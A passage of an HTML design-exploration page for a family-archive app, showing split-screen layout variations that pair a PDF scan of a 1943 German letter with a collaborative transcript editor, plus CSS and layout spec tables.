:root{--color-page:#FAFAF7;--color-surface:#F5F4EE;--color-subtle:#EDECEA;--color-border:#D8D7D0;--color-text-muted:#6B6A63;--color-text:#1C1C18;--navy:#012851;--mint:#A1DCD8;--sand:#F0EFE9;--turquoise:#00C7B1;--accent-bg:rgba(161,220,216,.12);--blue-tint:#E6F1FB;--blue:#2D7DD2;--blue-dark:#185FA5;--purple-tint:#EEEDFE;--purple:#534AB7;--purple-dark:#3C3489;--green-tint:#E8F5EA;--green:#3D8C4A;--green-dark:#2E6E39;--orange-tint:#FEF0E6;--orange:#E8862A;--orange-dark:#B46820;--yellow-tint:#FDF6D8;--yellow-text:#8A6800;--color-error:#DC4C3E;--font-display:'Fraunces',Georgia,serif;--font-sans:'DM Sans',system-ui,sans-serif;--font-mono:'DM Mono',monospace;--radius-sm:4px;--radius-md:6px;--radius-lg:10px;--radius-xl:16px;--shadow-card:0 1px 3px rgba(28,28,24,.06),0 1px 2px rgba(28,28,24,.04);--shadow-raised:0 4px 12px rgba(28,28,24,.08),0 2px 4px rgba(28,28,24,.04);--shadow-overlay:0 8px 32px rgba(28,28,24,.12),0 2px 8px rgba(28,28,24,.06);}
|
||||
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0;}
|
||||
body{font-family:var(--font-sans);background:#E8E7E2;color:var(--color-text);font-size:14px;line-height:1.6;}
|
||||
.doc{max-width:1200px;margin:0 auto;padding:48px 40px 120px;}
|
||||
|
||||
.doc-header{display:flex;justify-content:space-between;align-items:flex-end;padding-bottom:28px;border-bottom:1px solid var(--color-border);margin-bottom:48px;background:var(--color-page);margin:-48px -40px 48px;padding:48px 40px 28px;border-radius:var(--radius-xl) var(--radius-xl) 0 0;}
|
||||
.doc-header h1{font-family:var(--font-display);font-size:28px;font-weight:500;letter-spacing:-.02em;margin-bottom:4px;}
|
||||
.doc-header p{font-size:13px;color:var(--color-text-muted);}
|
||||
.doc-meta{font-family:var(--font-mono);font-size:11px;color:var(--color-text-muted);text-align:right;line-height:1.9;}
|
||||
.pill{display:inline-block;padding:2px 8px;border-radius:var(--radius-sm);font-size:10px;font-weight:500;letter-spacing:.05em;}
|
||||
.pill-b{background:var(--blue-tint);color:var(--blue-dark);}
|
||||
|
||||
.section{margin-bottom:64px;}
|
||||
.section-title{font-size:10px;font-weight:500;letter-spacing:.12em;text-transform:uppercase;color:var(--color-text-muted);padding-bottom:10px;border-bottom:1px solid var(--color-border);margin-bottom:24px;}
|
||||
.prose{font-size:13px;color:var(--color-text-muted);line-height:1.65;max-width:720px;margin-bottom:20px;}
|
||||
|
||||
.jh{padding:20px 24px;border-radius:var(--radius-xl);margin-bottom:40px;display:flex;align-items:center;gap:16px;}
|
||||
.jh .jn{font-family:var(--font-display);font-size:48px;font-weight:300;line-height:1;opacity:.5;}
|
||||
.jh h2{font-family:var(--font-display);font-size:22px;font-weight:500;letter-spacing:-.02em;margin-bottom:4px;}
|
||||
.jh p{font-size:13px;line-height:1.5;}.jh .fl{font-family:var(--font-mono);font-size:11px;margin-top:6px;opacity:.7;}
|
||||
.jh-b{background:var(--blue-tint);border:1px solid #A4CFF4;}.jh-b .jn{color:var(--blue);}.jh-b p,.jh-b .fl{color:var(--blue-dark);}
|
||||
|
||||
.scr{margin-bottom:56px;}
|
||||
.scr-head{display:flex;justify-content:space-between;align-items:center;margin-bottom:6px;}
|
||||
.scr-head h3{font-family:var(--font-display);font-size:20px;font-weight:500;letter-spacing:-.02em;}
|
||||
.scr-id{font-family:var(--font-mono);font-size:11px;color:var(--color-text-muted);padding:2px 8px;border:1px solid var(--color-border);border-radius:var(--radius-sm);background:var(--color-page);}
|
||||
.scr-desc{font-size:12px;color:var(--color-text-muted);line-height:1.6;max-width:720px;margin-bottom:6px;}
|
||||
.scr-var{font-size:11px;color:var(--color-text-muted);margin-bottom:20px;}.scr-var strong{color:var(--color-text);}
|
||||
|
||||
.previews{display:flex;gap:32px;flex-wrap:wrap;justify-content:center;align-items:flex-start;margin-bottom:20px;}
|
||||
.prev-col{display:flex;flex-direction:column;align-items:center;gap:10px;}
|
||||
.bp-lbl{font-family:var(--font-mono);font-size:10px;color:var(--color-text-muted);}
|
||||
|
||||
.phone{width:320px;flex-shrink:0;background:var(--color-page);border-radius:36px;overflow:hidden;box-shadow:var(--shadow-overlay),0 0 0 1px rgba(0,0,0,.07);display:flex;flex-direction:column;border:6px solid #1C1C18;}
|
||||
.pst{padding:10px 20px 0;display:flex;justify-content:space-between;align-items:center;font-size:12px;background:var(--color-page);}.pst b{font-weight:600;}.pst span{font-size:10px;}
|
||||
.pb{flex:1;overflow-y:auto;display:flex;flex-direction:column;}
|
||||
|
||||
.desk{width:100%;max-width:1040px;background:var(--color-page);border-radius:var(--radius-xl);overflow:hidden;box-shadow:var(--shadow-overlay),0 0 0 1px rgba(0,0,0,.06);display:flex;flex-direction:column;min-height:520px;}
|
||||
|
||||
/* ── Shared Familienarchiv chrome ── */
|
||||
.fa-nav{height:32px;background:var(--navy);display:flex;align-items:center;padding:0 12px;gap:8px;flex-shrink:0;}
|
||||
.fa-logo{font-size:7px;font-weight:900;color:#fff;letter-spacing:.8px;border-bottom:2px solid var(--mint);padding-bottom:1px;}
|
||||
.fa-link{font-size:5.5px;color:rgba(255,255,255,.4);font-weight:700;text-transform:uppercase;}
|
||||
.fa-nav-r{margin-left:auto;display:flex;gap:5px;align-items:center;}
|
||||
.fa-av{width:16px;height:16px;background:rgba(255,255,255,.1);border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:5px;font-weight:800;color:rgba(255,255,255,.5);}
|
||||
|
||||
.fa-topbar{background:#fff;border-bottom:1px solid #e4e2d7;display:flex;align-items:center;padding:0 12px;gap:6px;height:42px;flex-shrink:0;}
|
||||
.fa-topbar .back{width:20px;height:20px;border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:9px;color:var(--color-text-muted);}
|
||||
.fa-topbar .title{font-family:Georgia,serif;font-size:11px;color:var(--navy);flex:1;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;}
|
||||
.fa-chip{display:inline-flex;align-items:center;gap:2px;padding:1px 5px 1px 2px;background:var(--sand);border:1px solid #e4e2d7;border-radius:8px;white-space:nowrap;font-size:7px;color:var(--color-text);}
|
||||
.fa-chip .av{width:12px;height:12px;border-radius:50%;background:var(--navy);display:flex;align-items:center;justify-content:center;font-size:5px;font-weight:800;color:var(--mint);}
|
||||
.fa-topbar-btn{font-size:7px;font-weight:600;padding:3px 8px;border-radius:4px;border:1px solid var(--navy);color:var(--navy);background:transparent;display:flex;align-items:center;gap:3px;}
|
||||
.fa-topbar-btn.active{background:var(--navy);color:#fff;border-color:var(--navy);}
|
||||
.fa-topbar-btn.ghost{border-color:var(--color-border);color:var(--color-text-muted);font-weight:500;}
|
||||
|
||||
/* ── PDF area ── */
|
||||
.pdf-area{background:#D4D0C8;flex:1;display:flex;align-items:center;justify-content:center;position:relative;overflow:hidden;}
|
||||
.paper{background:#FFFEF8;box-shadow:0 2px 8px rgba(0,0,0,.14);border-radius:1px;padding:9px 11px;display:flex;flex-direction:column;gap:2px;}
|
||||
.pl{height:3px;background:#C4BDB0;border-radius:1px;opacity:.5;margin-bottom:2px;}
|
||||
.ps{height:2px;background:#C4BDB0;border-radius:1px;opacity:.28;margin-bottom:1.5px;}
|
||||
|
||||
.bp-tabs{background:#fff;border-top:1px solid #e4e2d7;display:flex;align-items:center;height:24px;padding:0 8px;flex-shrink:0;}
|
||||
.bp-tab{font-size:7px;font-weight:500;padding:0 6px;color:var(--color-text-muted);height:100%;display:flex;align-items:center;border-bottom:2px solid transparent;}
|
||||
.bp-tab.active{color:var(--navy);border-bottom-color:var(--navy);}
|
||||
.bp-badge{margin-left:3px;background:var(--navy);color:#fff;border-radius:6px;padding:0 3px;font-size:5px;font-weight:700;}
|
||||
|
||||
/* ── Transcript lines ── */
|
||||
.trans-panel{background:#fff;flex:1;overflow-y:auto;padding:8px 12px;display:flex;flex-direction:column;gap:4px;}
|
||||
.trans-line{display:flex;gap:6px;align-items:flex-start;font-size:9px;line-height:1.6;padding:2px 4px;border-radius:3px;}
|
||||
.trans-line:hover{background:var(--sand);}
|
||||
.trans-ln{font-family:var(--font-mono);font-size:7px;color:var(--color-text-muted);width:16px;text-align:right;flex-shrink:0;padding-top:1px;}
|
||||
.trans-text{flex:1;color:var(--color-text);}
|
||||
.trans-cursor{display:inline-block;width:1px;height:10px;background:var(--blue);animation:blink 1s infinite;margin-left:1px;}
|
||||
@keyframes blink{0%,50%{opacity:1}51%,100%{opacity:0}}
|
||||
|
||||
.presence{display:flex;align-items:center;gap:3px;font-size:7px;color:var(--color-text-muted);}
|
||||
.presence-dot{width:5px;height:5px;border-radius:50%;}
|
||||
|
||||
.hl-blue{background:rgba(45,125,210,.1);border-left:2px solid var(--blue);}
|
||||
.hl-purple{background:rgba(83,74,183,.1);border-left:2px solid var(--purple);}
|
||||
.hl-green{background:rgba(61,140,74,.1);border-left:2px solid var(--green);}
|
||||
.hl-orange{background:rgba(232,134,42,.1);border-left:2px solid var(--orange);}
|
||||
|
||||
.split{display:flex;flex:1;overflow:hidden;}
|
||||
.split-left{flex:1;display:flex;flex-direction:column;overflow:hidden;position:relative;}
|
||||
.split-right{display:flex;flex-direction:column;overflow:hidden;border-left:1px solid #e4e2d7;}
|
||||
.split-handle{width:4px;background:var(--color-border);cursor:col-resize;flex-shrink:0;display:flex;align-items:center;justify-content:center;}
|
||||
.split-handle::after{content:'';width:2px;height:20px;background:var(--color-text-muted);border-radius:1px;opacity:.3;}
|
||||
|
||||
.trans-toolbar{background:#fff;border-bottom:1px solid #e4e2d7;display:flex;align-items:center;padding:4px 8px;gap:6px;flex-shrink:0;}
|
||||
.trans-toolbar .tool-btn{font-size:7px;font-weight:500;color:var(--color-text-muted);padding:2px 6px;border-radius:3px;border:1px solid transparent;cursor:pointer;}
|
||||
.trans-toolbar .tool-btn:hover{background:var(--sand);border-color:var(--color-border);}
|
||||
.trans-toolbar .tool-btn.active{background:var(--accent-bg);color:var(--navy);border-color:var(--mint);}
|
||||
.trans-toolbar .presence-group{margin-left:auto;display:flex;gap:4px;align-items:center;}
|
||||
|
||||
.pdf-line-marker{position:absolute;left:0;width:3px;background:var(--turquoise);opacity:.6;}
|
||||
|
||||
.status-bar{background:var(--sand);border-top:1px solid #e4e2d7;height:18px;display:flex;align-items:center;padding:0 8px;font-size:7px;color:var(--color-text-muted);gap:8px;flex-shrink:0;}
|
||||
.status-saved{color:var(--green-dark);}
|
||||
|
||||
/* ── Minimap ── */
|
||||
.minimap{width:32px;background:var(--sand);border-left:1px solid #e4e2d7;flex-shrink:0;position:relative;overflow:hidden;}
|
||||
.minimap-bar{position:absolute;left:2px;right:2px;background:rgba(0,199,177,.2);border:1px solid var(--turquoise);border-radius:2px;}
|
||||
.minimap-line{position:absolute;left:4px;right:4px;height:1px;background:var(--color-border);opacity:.4;}
|
||||
.minimap-dot{position:absolute;width:4px;height:4px;border-radius:50%;left:50%;transform:translateX(-50%);}
|
||||
|
||||
/* ── Comment gutter ── */
|
||||
.gutter{width:28px;background:var(--color-page);border-right:1px solid #e4e2d7;flex-shrink:0;display:flex;flex-direction:column;align-items:center;padding:8px 0;gap:3px;}
|
||||
.gutter-icon{width:14px;height:14px;border-radius:50%;background:var(--sand);border:1px solid var(--color-border);display:flex;align-items:center;justify-content:center;font-size:6px;color:var(--color-text-muted);cursor:pointer;}
|
||||
.gutter-icon.has-comments{background:var(--navy);border-color:var(--navy);color:#fff;}
|
||||
|
||||
/* ── Page navigator ── */
|
||||
.page-nav{background:#fff;border-bottom:1px solid #e4e2d7;display:flex;align-items:center;justify-content:center;gap:6px;height:22px;flex-shrink:0;font-size:7px;color:var(--color-text-muted);}
|
||||
.page-dot{width:6px;height:6px;border-radius:50%;background:var(--color-border);}
|
||||
.page-dot.active{background:var(--navy);}
|
||||
|
||||
/* ── Paragraph blocks ── */
|
||||
.para-block{margin-bottom:6px;border:1px solid var(--color-border);border-radius:4px;overflow:hidden;}
|
||||
.para-block.active{border-color:var(--mint);box-shadow:0 0 0 1px var(--mint);}
|
||||
.para-head{background:var(--sand);padding:2px 8px;display:flex;align-items:center;gap:4px;font-size:6px;font-weight:600;color:var(--color-text-muted);text-transform:uppercase;letter-spacing:.06em;}
|
||||
.para-body{padding:4px 8px;font-size:9px;line-height:1.6;color:var(--color-text);}
|
||||
|
||||
/* ── Scroll position sync connector ── */
|
||||
.sync-connector{position:absolute;right:-8px;width:8px;pointer-events:none;}
|
||||
.sync-dot{position:absolute;right:0;width:6px;height:6px;border-radius:50%;background:var(--turquoise);border:1px solid #fff;}
|
||||
|
||||
/* ── Agent table ── */
|
||||
.agent{background:var(--color-text);color:#E8E8E2;padding:24px;border-radius:var(--radius-lg);margin-top:20px;}
|
||||
.agent h4{font-size:9px;font-weight:500;letter-spacing:.1em;text-transform:uppercase;color:#5A5A55;margin-bottom:12px;}
|
||||
.agent pre{font-family:var(--font-mono);font-size:10px;color:#444440;margin-bottom:16px;line-height:1.8;white-space:pre-wrap;}
|
||||
.at{width:100%;border-collapse:collapse;font-family:var(--font-mono);font-size:10px;}
|
||||
.at thead tr{border-bottom:1px solid #2A2A26;}.at th{text-align:left;padding:6px 10px;font-size:8px;font-weight:500;letter-spacing:.08em;text-transform:uppercase;color:#5A5A55;font-family:var(--font-sans);}.at td{padding:5px 10px;border-bottom:1px solid #1E1E1A;vertical-align:top;line-height:1.5;}.at tr:last-child td{border-bottom:none;}.at td:first-child{color:#7A7A72;}.at td:nth-child(2){color:#E8E8E2;font-weight:500;}.at td:nth-child(3){color:#5A5A55;}.at .grp td{padding-top:14px;font-family:var(--font-sans);font-size:8px;font-weight:500;letter-spacing:.08em;text-transform:uppercase;color:#3A3A36;}
|
||||
|
||||
.llm{background:var(--color-page);border:2px solid var(--navy);border-radius:var(--radius-xl);padding:32px 40px;margin-top:64px;}
|
||||
.llm h2{font-family:var(--font-display);font-size:22px;font-weight:500;letter-spacing:-.02em;margin-bottom:8px;color:var(--navy);}
|
||||
.llm h3{font-size:14px;font-weight:600;margin:20px 0 8px;color:var(--color-text);}
|
||||
.llm p,.llm li{font-size:13px;color:var(--color-text-muted);line-height:1.65;}
|
||||
.llm ul,.llm ol{padding-left:20px;margin-bottom:12px;}
|
||||
.llm li{margin-bottom:4px;}
|
||||
.llm code{font-family:var(--font-mono);font-size:11px;background:var(--color-surface);padding:1px 5px;border-radius:3px;}
|
||||
.llm table{width:100%;border-collapse:collapse;margin:12px 0;font-size:12px;}
|
||||
.llm th,.llm td{text-align:left;padding:6px 10px;border-bottom:1px solid var(--color-border);}
|
||||
.llm th{font-weight:500;color:var(--color-text);font-size:11px;text-transform:uppercase;letter-spacing:.05em;}
|
||||
.llm td{color:var(--color-text-muted);}
|
||||
|
||||
@media(max-width:900px){.doc{padding:24px 16px 80px;}}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="doc">
|
||||
|
||||
<div class="doc-header">
|
||||
<div>
|
||||
<h1>Side-by-Side Split — 5 Variations</h1>
|
||||
<p>Five layout variations of the side-by-side split transcription concept. All share the core idea: PDF scan on one side, editable transcript on the other, with collaborative presence. They differ in information architecture, scroll behavior, and how the connection between scan and text is communicated.</p>
|
||||
</div>
|
||||
<div class="doc-meta">
|
||||
Familienarchiv<br/>
|
||||
<span class="pill pill-b">Exploration — Round 2</span><br/>
|
||||
2026-04-04 · @leonievoss
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="section">
|
||||
<div class="section-title">Design space</div>
|
||||
<p class="prose">All five variations place the PDF scan and transcript editor next to each other. The key design decisions that differentiate them are: <strong>(1)</strong> how scroll positions stay linked between the two panels, <strong>(2)</strong> where the toolbar and presence indicators live, <strong>(3)</strong> how paragraph boundaries are expressed, and <strong>(4)</strong> what happens with the existing bottom panel (metadata, discussion, history).</p>
|
||||
</div>
|
||||
|
||||
<div class="jh jh-b">
|
||||
<div class="jn">A</div>
|
||||
<div><h2>Side-by-side split variations</h2><p>PDF left, transcript right. Draggable divider. Each variation explores a different approach to linking the scan with the text and organizing the editing UI.</p><div class="fl">Document detail → Transcribe mode · WRITE_ALL permission</div></div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════════════════════
|
||||
V1 — PLAIN SPLIT WITH SYNCHRONIZED SCROLL
|
||||
═══════════════════════════════════════════════════════════════════════════ -->
|
||||
<div class="scr" id="v1">
|
||||
<div class="scr-head"><h3>V1 — Plain split, synchronized scroll</h3><span class="scr-id">V1</span></div>
|
||||
<div class="scr-desc">The simplest version: a clean vertical split. Both panels scroll independently but are linked — scrolling the transcript moves the PDF to the corresponding region and vice versa. A thin turquoise position marker on the PDF's right edge shows what the transcript cursor maps to. The toolbar sits at the top of the transcript panel. Bottom panel stays below the whole split.</div>
|
||||
<div class="scr-var"><strong>50/50 default split, resizable</strong> — toolbar in transcript header, bottom panel retained below both panels.</div>
|
||||
|
||||
<div class="previews">
|
||||
<div class="prev-col">
|
||||
<div class="bp-lbl">Desktop · 1040px</div>
|
||||
<div class="desk">
|
||||
<div class="fa-nav">
|
||||
<div class="fa-logo">FAMILIENARCHIV</div>
|
||||
<div class="fa-link">Dokumente</div>
|
||||
<div class="fa-link">Personen</div>
|
||||
<div class="fa-nav-r"><div class="fa-av">MR</div></div>
|
||||
</div>
|
||||
<div class="fa-topbar">
|
||||
<div class="back">←</div>
|
||||
<div class="title">Brief von Heinrich an Martha, 14. Mai 1943</div>
|
||||
<div style="flex:1"></div>
|
||||
<div class="fa-chip"><div class="av">HR</div> Heinrich R.</div>
|
||||
<div style="font-size:7px;color:var(--color-text-muted);margin:0 2px;">→</div>
|
||||
<div class="fa-chip"><div class="av" style="background:#5A3080;color:#fff;">MR</div> Martha R.</div>
|
||||
<div style="width:1px;height:16px;background:#e4e2d7;margin:0 6px;"></div>
|
||||
<div class="fa-topbar-btn active">✎ Transkribieren</div>
|
||||
<div class="fa-topbar-btn ghost">Annotieren</div>
|
||||
</div>
|
||||
|
||||
<div class="split" style="height:360px;">
|
||||
<div class="split-left">
|
||||
<div class="pdf-area" style="flex:1;">
|
||||
<div class="paper" style="width:55%;min-height:200px;">
|
||||
<div style="font-size:7px;color:#8A8070;font-style:italic;margin-bottom:4px;opacity:.7;">Liebe Martha,</div>
|
||||
<div class="pl" style="width:90%;"></div><div class="ps" style="width:85%;"></div><div class="ps" style="width:92%;"></div>
|
||||
<div class="pl" style="width:78%;"></div><div class="ps" style="width:88%;"></div><div class="ps" style="width:70%;"></div>
|
||||
<div class="pl" style="width:84%;"></div><div class="ps" style="width:90%;"></div><div class="ps" style="width:60%;"></div>
|
||||
<div class="pl" style="width:75%;"></div><div class="ps" style="width:82%;"></div>
|
||||
<div style="font-size:6px;color:#8A8070;margin-top:6px;text-align:right;opacity:.7;">Dein Heinrich</div>
|
||||
</div>
|
||||
<!-- Scroll position indicator -->
|
||||
<div class="pdf-line-marker" style="right:0;left:auto;top:68px;height:24px;"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="split-handle"></div>
|
||||
|
||||
<div class="split-right" style="width:380px;">
|
||||
<div class="trans-toolbar">
|
||||
<div class="tool-btn active">Bearbeiten</div>
|
||||
<div class="tool-btn">Vorschau</div>
|
||||
<div class="tool-btn">Verlauf</div>
|
||||
<div class="presence-group">
|
||||
<div class="presence"><div class="presence-dot" style="background:var(--blue);"></div> Du</div>
|
||||
<div class="presence"><div class="presence-dot" style="background:var(--purple);"></div> Oma Inge</div>
|
||||
<div class="presence"><div class="presence-dot" style="background:var(--green);"></div> Onkel Klaus</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="trans-panel">
|
||||
<div class="trans-line"><div class="trans-ln">1</div><div class="trans-text">Liebe Martha,</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">2</div><div class="trans-text"> </div></div>
|
||||
<div class="trans-line hl-purple"><div class="trans-ln">3</div><div class="trans-text">ich schreibe Dir heute aus dem Lazarett</div></div>
|
||||
<div class="trans-line hl-purple"><div class="trans-ln">4</div><div class="trans-text">in Breslau. Mach Dir keine Sorgen,</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">5</div><div class="trans-text">es geht mir den Umständen</div></div>
|
||||
<div class="trans-line hl-blue"><div class="trans-ln">6</div><div class="trans-text">entsprechend gut. Der Arzt sagt<span class="trans-cursor"></span></div></div>
|
||||
<div class="trans-line"><div class="trans-ln">7</div><div class="trans-text" style="color:var(--color-text-muted);font-style:italic;">[unleserlich]</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">8</div><div class="trans-text">Wochen noch dauern wird.</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">9</div><div class="trans-text"> </div></div>
|
||||
<div class="trans-line"><div class="trans-ln">10</div><div class="trans-text">Die Kinder sollen wissen, dass ich</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">11</div><div class="trans-text">an sie denke. Sag dem kleinen Fritz,</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">12</div><div class="trans-text">er soll auf seine Mutter aufpassen.</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">13</div><div class="trans-text"> </div></div>
|
||||
<div class="trans-line"><div class="trans-ln">14</div><div class="trans-text">In ewiger Liebe,</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">15</div><div class="trans-text">Dein Heinrich</div></div>
|
||||
</div>
|
||||
<div class="status-bar">
|
||||
<span class="status-saved">✓ Gespeichert</span>
|
||||
<span>15 Zeilen</span>
|
||||
<span>Zeile 6, Spalte 34</span>
|
||||
<span style="margin-left:auto;">Oma Inge · Z. 3–4</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="bp-tabs">
|
||||
<div class="bp-tab">Metadaten</div>
|
||||
<div class="bp-tab active">Transkription</div>
|
||||
<div class="bp-tab">Diskussion <span class="bp-badge">3</span></div>
|
||||
<div class="bp-tab">Verlauf</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="agent">
|
||||
<h4>V1 · Plain split, synchronized scroll</h4>
|
||||
<pre>/* Simplest variant. Two panels, synced scroll, turquoise position marker on PDF edge.
|
||||
* Scroll sync: transcript scroll position (normalized 0-1) maps to PDF scroll position.
|
||||
* Bidirectional: scrolling PDF also moves the transcript highlight.
|
||||
* Debounced sync (50ms) to avoid jitter. User can break sync by scrolling the "other" panel
|
||||
* (a small "re-sync" button appears in the toolbar).
|
||||
* Bottom panel survives as-is below the split — Transcription tab shows "editing inline" hint. */</pre>
|
||||
<table class="at"><thead><tr><th>Element</th><th>Value</th><th>Notes</th></tr></thead><tbody>
|
||||
<tr class="grp"><td colspan="3">Split layout</td></tr>
|
||||
<tr><td>PDF panel</td><td>flex:1, min-width:300px</td><td>Existing PdfViewer, scroll-synced</td></tr>
|
||||
<tr><td>Transcript panel</td><td>380px default, min:280px, max:60vw</td><td>Resizable via drag handle</td></tr>
|
||||
<tr><td>Position marker</td><td>3px wide, turquoise, right edge of PDF</td><td>Height = (visible transcript lines / total) * PDF height</td></tr>
|
||||
<tr><td>Scroll sync</td><td>Bidirectional, debounced 50ms</td><td>"Re-sync" button if user scrolls independently</td></tr>
|
||||
<tr class="grp"><td colspan="3">Toolbar</td></tr>
|
||||
<tr><td>Height</td><td>32px, bg:surface, border-bottom</td><td>Edit/Preview/History + presence right</td></tr>
|
||||
<tr><td>Presence dots</td><td>5px circles, user-color, name beside</td><td>Max 4 visible, +N overflow</td></tr>
|
||||
</tbody></table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════════════════════
|
||||
V2 — SPLIT WITH MINIMAP & COMMENT GUTTER
|
||||
═══════════════════════════════════════════════════════════════════════════ -->
|
||||
<div class="scr" id="v2">
|
||||
<div class="scr-head"><h3>V2 — Split with minimap and comment gutter</h3><span class="scr-id">V2</span></div>
|
||||
<div class="scr-desc">Builds on V1 with two additions: a minimap on the far right showing the full transcript at a glance (like VS Code), and a narrow comment gutter between line numbers and text where users can leave line-level comments. The minimap shows user cursors as colored dots and the current viewport as a translucent highlight. The gutter shows small speech-bubble icons on lines with comments.</div>
|
||||
<div class="scr-var"><strong>Split + minimap (32px) + comment gutter (28px)</strong> — power-user variant with maximum contextual information.</div>
|
||||
|
||||
<div class="previews">
|
||||
<div class="prev-col">
|
||||
<div class="bp-lbl">Desktop · 1040px</div>
|
||||
<div class="desk">
|
||||
<div class="fa-nav">
|
||||
<div class="fa-logo">FAMILIENARCHIV</div>
|
||||
<div class="fa-link">Dokumente</div>
|
||||
<div class="fa-link">Personen</div>
|
||||
<div class="fa-nav-r"><div class="fa-av">MR</div></div>
|
||||
</div>
|
||||
<div class="fa-topbar">
|
||||
<div class="back">←</div>
|
||||
<div class="title">Brief von Heinrich an Martha, 14. Mai 1943</div>
|
||||
<div style="flex:1"></div>
|
||||
<div class="fa-chip"><div class="av">HR</div> Heinrich R.</div>
|
||||
<div style="font-size:7px;color:var(--color-text-muted);margin:0 2px;">→</div>
|
||||
<div class="fa-chip"><div class="av" style="background:#5A3080;color:#fff;">MR</div> Martha R.</div>
|
||||
<div style="width:1px;height:16px;background:#e4e2d7;margin:0 6px;"></div>
|
||||
<div class="fa-topbar-btn active">✎ Transkribieren</div>
|
||||
</div>
|
||||
|
||||
<div class="split" style="height:380px;">
|
||||
<div class="split-left">
|
||||
<div class="pdf-area" style="flex:1;">
|
||||
<div class="paper" style="width:55%;min-height:200px;">
|
||||
<div style="font-size:7px;color:#8A8070;font-style:italic;margin-bottom:4px;opacity:.7;">Liebe Martha,</div>
|
||||
<div class="pl" style="width:90%;"></div><div class="ps" style="width:85%;"></div><div class="ps" style="width:92%;"></div>
|
||||
<div class="pl" style="width:78%;"></div><div class="ps" style="width:88%;"></div><div class="ps" style="width:70%;"></div>
|
||||
<div class="pl" style="width:84%;"></div><div class="ps" style="width:90%;"></div><div class="ps" style="width:60%;"></div>
|
||||
<div class="pl" style="width:75%;"></div><div class="ps" style="width:82%;"></div>
|
||||
<div style="font-size:6px;color:#8A8070;margin-top:6px;text-align:right;opacity:.7;">Dein Heinrich</div>
|
||||
</div>
|
||||
<div class="pdf-line-marker" style="right:0;left:auto;top:68px;height:24px;"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="split-handle"></div>
|
||||
|
||||
<div class="split-right" style="width:400px;display:flex;flex-direction:row;">
|
||||
<!-- Main editor column -->
|
||||
<div style="flex:1;display:flex;flex-direction:column;overflow:hidden;">
|
||||
<div class="trans-toolbar">
|
||||
<div class="tool-btn active">Bearbeiten</div>
|
||||
<div class="tool-btn">Vorschau</div>
|
||||
<div class="tool-btn">[unleserlich]</div>
|
||||
<div class="presence-group">
|
||||
<div class="presence"><div class="presence-dot" style="background:var(--blue);"></div> Du</div>
|
||||
<div class="presence"><div class="presence-dot" style="background:var(--purple);"></div> Oma Inge</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="trans-panel" style="flex-direction:row;">
|
||||
<!-- Gutter -->
|
||||
<div class="gutter" style="padding-top:4px;">
|
||||
<div style="height:12px;"></div><!-- line 1 spacer -->
|
||||
<div style="height:12px;"></div><!-- line 2 -->
|
||||
<div class="gutter-icon has-comments" title="2 Kommentare">2</div><!-- line 3 -->
|
||||
<div style="height:12px;"></div><!-- line 4 -->
|
||||
<div style="height:12px;"></div><!-- line 5 -->
|
||||
<div style="height:12px;"></div><!-- line 6 -->
|
||||
<div class="gutter-icon" title="Kommentar hinzufügen">+</div><!-- line 7 -->
|
||||
<div style="height:12px;"></div>
|
||||
<div style="height:12px;"></div>
|
||||
<div style="height:12px;"></div>
|
||||
<div style="height:12px;"></div>
|
||||
</div>
|
||||
<!-- Lines -->
|
||||
<div style="flex:1;display:flex;flex-direction:column;gap:4px;padding:8px 8px 8px 0;">
|
||||
<div class="trans-line"><div class="trans-ln">1</div><div class="trans-text">Liebe Martha,</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">2</div><div class="trans-text"> </div></div>
|
||||
<div class="trans-line hl-purple"><div class="trans-ln">3</div><div class="trans-text">ich schreibe Dir heute aus dem Lazarett</div></div>
|
||||
<div class="trans-line hl-purple"><div class="trans-ln">4</div><div class="trans-text">in Breslau. Mach Dir keine Sorgen,</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">5</div><div class="trans-text">es geht mir den Umständen</div></div>
|
||||
<div class="trans-line hl-blue"><div class="trans-ln">6</div><div class="trans-text">entsprechend gut. Der Arzt sagt<span class="trans-cursor"></span></div></div>
|
||||
<div class="trans-line"><div class="trans-ln">7</div><div class="trans-text" style="color:var(--color-text-muted);font-style:italic;">[unleserlich]</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">8</div><div class="trans-text">Wochen noch dauern wird.</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">9</div><div class="trans-text"> </div></div>
|
||||
<div class="trans-line"><div class="trans-ln">10</div><div class="trans-text">Die Kinder sollen wissen, dass ich</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">11</div><div class="trans-text">an sie denke.</div></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="status-bar">
|
||||
<span class="status-saved">✓ Gespeichert</span>
|
||||
<span>Z. 6, Sp. 34</span>
|
||||
<span style="margin-left:auto;">2 Kommentare offen</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Minimap -->
|
||||
<div class="minimap">
|
||||
<!-- Viewport highlight -->
|
||||
<div class="minimap-bar" style="top:30px;height:80px;"></div>
|
||||
<!-- Text representation -->
|
||||
<div class="minimap-line" style="top:12px;width:60%;"></div>
|
||||
<div class="minimap-line" style="top:20px;width:0;"></div>
